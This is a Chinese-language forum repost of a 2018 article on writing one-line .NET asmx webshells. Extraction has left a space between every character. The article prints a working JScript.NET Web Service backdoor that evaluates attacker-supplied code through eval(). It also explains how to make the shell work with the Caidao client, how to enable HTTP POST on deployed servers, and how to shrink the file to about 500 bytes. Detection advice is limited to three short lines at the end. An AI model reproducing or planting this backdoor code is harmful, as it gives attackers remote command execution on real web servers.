搜索

[2083] 2018-07-19_探索基于.NET下实现一句话木马之asmx篇

文档创建者：s7ckTeam
浏览次数：0
最后更新：2025-01-16
2018-07-19_探索基于.NET下实现一句话木马之asmx篇 探 索 基 于 . N E T 下 实 现 一 句 话 木 马 之 a s m x 篇 I v a n   d o t N e t 安 全 研 究 僧   2 0 1 8 - 0 7 - 1 9 0 x 0 1   前 言 前 言 上 篇 介 绍 了 一 般 处 理 程 序 （ a s h x ） 的 工 作 原 理 以 及 实 现 一 句 话 木 马 的 过 程 ， 今 天 接 着 介 绍 W e b   S e r v i c e 程 序 （ a s m x ） 下 的 工 作 原 理 和 如 何 实 现 一 句 话 木 马 的 介 绍 ， 当 然 介 绍 之 前 笔 者 找 到 了 一 款 a s m x 马 儿 h t t p s : / / g i t h u b . c o m / t e n n c / w e b s h e l l / b l o b / m a s t e r / c a i d a o - s h e l l / c u s t o m i z e . a s m x 依 旧 是 一 个 大 马 如 下 图 这 个 还 只 是 对 客 户 端 的 菜 刀 做 了 适 配 可 用 ， 暂 时 不 符 合 一 句 话 木 马 的 特 点 哈 ， 至 于 要 打 造 一 款 居 家 旅 行 必 备 的 菜 刀 马 ， 还 得 从 原 理 上 搞 清 楚   a s m x 的 运 行 过 程 。   0 x 0 2   简 介 和 原 理 简 介 和 原 理 W e b   S e r v i c e 是 一 个 基 于 可 编 程 的 w e b 的 应 用 程 序 ， 用 于 开 发 分 布 式 的 互 操 作 的 应 用 程 序 ， 也 是 一 种 w e b 服 务 ， W e b   S e r v i c e 的 主 要 目 标 是 跨 平 台 的 可 互 操 作 性 ， 为 了 实 现 这 一 目 标 W e b   S e r v i c e   完 全 基 于 X M L （ 可 扩 展 标 记 语 言 ） 、 X S D （ X M L   S c h e m a ） 等 独 立 于 平 台 、 独 立 于 软 件 供 应 商 的 标 准 ， 是 创 建 可 互 操 作 的 、 分 布 式 应 用 程 序 的 新 平 台 。 简 单 的 来 说 W e b   S e r v i c e 具 备 三 个 要 素 S O A P （ S i m p l e   O b j e c t   A c c e s s   P r o t o c o l ） 、 W S D L ( W e b S e r v i c e s D e s c r i p t i o n L a n g u a g e ) 、 U D D I ( U n i v e r s a l D e s c r i p t i o n D i s c o v e r y   a n d I n t e g r a t i o n ) 之 一 ，   S O A P 用 来 描 述 传 递 信 息 的 格 式 ，   W S D L   用 来 描 述 如 何 访 问 具 体 的 接 口 ，   U D D I 用 来 管 理 ， 分 发 查 询 w e b S e r v i c e   ， 也 因 此 使 用 W e b   S e r v i c e 有 许 多 优 点 ， 例 如 可 以 跨 平 台 工 作 、 部 署 升 级 维 护 起 来 简 单 方 便 、 实 现 多 数 据 多 个 服 务 的 聚 合 使 用 等 等 。 再 结 合 下 图 说 明 一 下 W e b S e r v i c e 工 作 的 流 程
无 论 使 用 什 么 工 具 、 语 言 编 写 W e b S e r v i c e ， 都 可 以 使 用   S O A P   协 议 通 过   H T T P 调 用 ， 创 建   W e b S e r v i c e   后 ， 任 何 语 言 、 平 台 的 客 户 都 可 以 阅 读   W S D L   文 档 来 调 用   W e b S e r v i c e   ， 同 时 客 户 端 也 可 以 根 据   W S D L   描 述 文 档 生 成 一 个   S O A P   请 求 信 息 并 发 送 到 W e b 服 务 器 ， W e b 服 务 器 再 将 请 求 转 发 给 W e b S e r v i c e   请 求 处 理 器 。 对 于 . N e t 而 言 ， W e b S e r v i c e 请 求 处 理 器 则 是 一 个   . N E T   F r a m e w o r k   自 带 的   I S A P I   E x t e n s i o n 。 W e b 请 求 处 理 器 用 于 解 析 收 到 的 S O A P 请 求 ， 调 用   W e b S e r v i c e ， 然 后 生 成 相 应 的 S O A P 应 答 。 W e b 服 务 器 得 到 S O A P 应 答 后 ， 在 通 过 H T T P 应 答 的 方 式 将 其 返 回 给 客 户 端 ， 但 W e b S e r v i c e 也 支 持 H T T P   P O S T 请 求 ， 仅 需 要 在 服 务 端 增 加 一 项 配 置 即 可 。 0 x 0 3   一 句 话 的 实 现 一 句 话 的 实 现 3 . 1 、 、 W e b M e t h o d 在 W e b   S e r v i c e 程 序 中 ， 如 果 一 个 公 共 方 法 想 被 外 界 访 问 调 用 的 话 ， 就 需 要 加 上 W e b M e t h o d ， 加 上 [ W e b M e t h o d ] 属 性 的 公 有 方 法 就 可 以 被 访 问 ， 而 没 有 加 这 个 属 性 的 方 法 就 是 不 能 被 访 问 的 。 将   W e b M e t h o d   属 性   ( A t t r i b u t e )   附 加 到   P u b l i c   方 法 表 示 希 望 将 该 方 法 公 开 为 X M L   W e b   s e r v i c e s   的 一 部 分 ， 它 具 备 6 个 属 性 ： D e s c r i p t i o n   、 E n a b l e S e s s i o n 、 M e s s a g e N a m e 、 T r a n s a c t i o n O p t i o n 、 C a c h e D u r a t i o n 、 B u f f e r R e s p o n s e ， 为 了 更 清 晰 的 表 述 W e b S e r v i c e 请 看 下 面 这 段 代 码 在 客 户 端 预 览 后
这 里 声 明 成 一 个 字 符 串 类 型 的 公 共 方 法 H e l l o W o r l d ， 如 果 此 时 在 方 法 体 内 实 现 创 建 a s p x 文 件 ， 保 存 内 容 为 一 句 话 小 马 的 话 那 么 这 个 W e b S e r v i c e 就 变 成 了 服 务 后 门 ， 依 照 这 个 推 理 就 产 生 了 C # 版 本 的 W e b S e r v i c e 小 马 ， 实 现 了 两 个 功 能 ， 一 个 是 创 建 文 件 ， 还 有 一 个 是 执 行 C M D 命 令 ， 核 心 代 码 如 下 ：
小 马 运 行 后 执 行 C M D 命 令 如 下 图 知 道 原 理 后 就 开 始 着 手 打 造 菜 刀 可 用 的 一 句 话 木 马 ， 和 一 般 处 理 程 序 类 似 通 过 J s c r i p t . N e t 的 e v a l 方 法 去 实 现 代 码 执 行 ， 根 据 之 前 的 介 绍 W e b M e t h o d 有 多 个 属 性 并 且 根 据 微 软 的 官 方 文 档   h t t p s : / / d o c s . m i c r o s o f t . c o m / z h - c n / p r e v i o u s - v e r s i o n s / d o t n e t / n e t f r a m e w o r k - 1 . 1 / 1 t y a z y 6 8 % 2 8 v % 3 d v s . 8 0 % 2 9 可 以 得 出 J s c r i p t . N e t 中 可 以 使 用 W e b M e t h o d A t t r i b u t e   来 替 代 [ W e b M e t h o d ] 。 一 句 话 实 现 的 代 码 如 下 ：
打 开 浏 览 器 ， 测 试 效 果 如 下 依 照 S O A P 1 . 1 的 规 范 要 求 ， 发 送 请 求 的 数 据 包 就 可 以 实 现 一 句 话 代 码 执 行 ， 笔 者 这 里 还 是 拿 当 前 的 时 间 作 为 攻 击 载 荷 ， 如 下 图
3 . 2 、 、 S c r i p t M e t h o d 在 研 究 W e b M e t h o d 的 时 候 ， 发 现 V i s u a l S t u d i o 有 段 注 释 如 下 图 当 客 户 端 请 求 的 方 式 是 A J A X 的 时 候 会 导 入 S y s t e m . W e b . S c r i p t . S e r v i c e s . S c r i p t S e r v i c e 命 名 空 间 ， 笔 者 尝 试 去 挖 掘 一 下 可 能 存 在 的 新 的 攻 击 点
代 码 里 R e s p o n s e F o r m a t 表 示 方 法 要 返 回 的 类 型 ， 一 般 为 J s o n 或 者 X M L ; U s e H t t p G e t 等 于 t r u e 表 示 前 台 的 a j a x 是 通 过 G E T 可 以 访 问 此 方 法 ， 如 果 前 台 a j a x 通 过 P O S T ， 则 报 错 。 根 据 C # 中 的 代 码 可 知 需 要 配 置 W e b M e t h o d 和 S c r i p t M e t h o d 才 能 正 常 玩 转 ， 而 在 J s c r i p t . N e t 中 实 现 这 两 个 功 能 的 分 类 是 W e b M e t h o d A t t r i b u t e 类 和 S c r i p t M e t h o d A t t r i b u t e 类 ， 最 终 写 出 一 句 话 木 马 服 务 端 代 码 ： < % @   W e b S e r v i c e   L a n g u a g e = " J S c r i p t " c l a s s = " S c r i p t M e t h o d S p y " % > i m p o r t   S y s t e m ; i m p o r t   S y s t e m . W e b ; i m p o r t   S y s t e m . I O ; i m p o r t   S y s t e m . W e b . S e r v i c e s i m p o r t   S y s t e m . W e b . S c r i p t . S e r v i c e s p u b l i c   c l a s s   S c r i p t M e t h o d S p y   e x t e n d s   W e b S e r v i c e {             W e b M e t h o d A t t r i b u t e S c r i p t M e t h o d A t t r i b u t e   f u n c t i o n   I n v o k e ( I v a n   :   S t r i n g )   :   V o i d         {                 v a r   I   =   H t t p C o n t e x t . C u r r e n t ;                 v a r R e q u e s t   =   I . R e q u e s t ;                 v a r R e s p o n s e   =   I . R e s p o n s e ;                 v a r   S e r v e r =   I . S e r v e r ; R e s p o n s e . W r i t e ( " < H 1 > J u s t f o r   R e s e a r c h   L e a r n i n g ,   D o   N o t   A b u s e   I t !   W r i t t e n   B y   < a h r e f = ' h t t p s : / / g i t h u b . c o m / I v a n 1 e e ' > I v a n 1 e e < / a > < / H 1 > " ) ;                 e v a l ( I v a n ) ;         } } 打 开 浏 览 器 输 入   R e s p o n s e . W r i t e ( D a t e T i m e . N o w ) 成 功 打 印 出 当 前 时 间
可 惜 的 是 这 种 方 法 不 支 持 . N E T     2 . 0 究 其 原 因 是 u s i n g   S y s t e m . W e b . S c r i p t . S e r v i c e s ; 这 个 命 名 空 间 并 不 在 S y s t e m . W e b 中 ， 而 是 在 a j a x 扩 展 中 需 要 额 外 安 装 A S P . N E T   2 . 0   A J A X   E x t e n s i o n s ， 所 以 在 2 . 0 的 环 境 下 尽 量 避 免 使 用 该 方 法 。 0 X 0 4   菜 刀 连 接 菜 刀 连 接 菜 刀 不 支 持 S O A P 的 方 式 提 交 p a y l o a d ， 直 接 连 接 a s m x 文 件 就 会 出 现 下 图 错 误 第 一 种 解 决 方 法 可 以 自 己 写 代 码 实 现 支 持 S O A P 的 客 户 端 ， 第 二 种 办 法 参 考 a s m x 页 面 最 下 方 给 出 的 H T T P   P O S T 提 交 方 式 本 地 环 境 下 用 菜 刀 连 接 没 问 题 ， 可 以 正 常 连 接
但 通 常 部 署 到 服 务 器 上 可 能 会 遇 到 下 面 的 提 示 T h e   t e s t   f o r m   i s   o n l y   a v a i l a b l e   f o r   r e q u e s t s   f r o m   t h e   l o c a l   m a c h i n e . 解 决 上 述 的 问 题 需 要 在 w e b . c o n f i g 中 配 置 w e b S e r v i c e s 节 点 接 收 的 P r o t o c l o s 节 点 下 需 要 包 含 H t t p P o s t 多 数 情 况 下 程 序 开 发 者 会 支 持 H T T P   P O S T 请 求 ， 所 以 对 此 不 必 过 于 担 心 。 还 有 就 是 基 于 优 化 考 虑 将 a s m x W e b M e t h o d S p y . a s m x 进 一 步 压 缩 体 积 后 只 有 4 9 9 个 字 节 ， a s m x S c r i p t M e t h o d S p y . a s m x 也 只 有 5 4 7 个 字 节 。
0 x 0 5   防 御 措 施 防 御 措 施   1 .       通 过 菜 刀 连 接 的 方 式 ， 添 加 可 以 检 测 菜 刀 关 键 特 征 的 规 则 ； 2 .       对 于 W e b 应 用 来 说 ， 尽 量 保 证 代 码 的 安 全 性 ； 3 .       对 于 I D S 规 则 层 面 来 说 ， 上 传 的 时 候 可 以 加 入 W e b M e t h o d A t t r i b u t e 等 关 键 词 的 检 测     0 x 0 6   小 结 小 结   1 .         还 有 本 文 提 供 了 两 种 方 式 实 现 a s m x 一 句 话 的 思 路 ， 当 然 还 有 更 多 编 写 一 句 话 的 技 巧 有 待 发 掘 ， 下 次 将 介 绍 另 外 一 种 姿 势 ， 敬 请 期 待 ； 2 .         文 章 的 代 码 片 段 请 参 考   h t t p s : / / g i t h u b . c o m / I v a n 1 e e ；   0 x 0 7   参 考 链 接 参 考 链 接   h t t p s : / / d o c s . m i c r o s o f t . c o m / z h - c n / p r e v i o u s - v e r s i o n s / d o t n e t / n e t f r a m e w o r k - 1 . 1 / 1 t y a z y 6 8 % 2 8 v % 3 d v s . 8 0 % 2 9 h t t p s : / / g i t h u b . c o m / t e n n c / w e b s h e l l / b l o b / m a s t e r / c a i d a o - s h e l l / c u s t o m i z e . a s m x h t t p s : / / w w w . c n b l o g s . c o m / b p d w n / p / 3 4 7 9 4 2 1 . h t m l h t t p s : / / g i t h u b . c o m / I v a n 1 e e
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理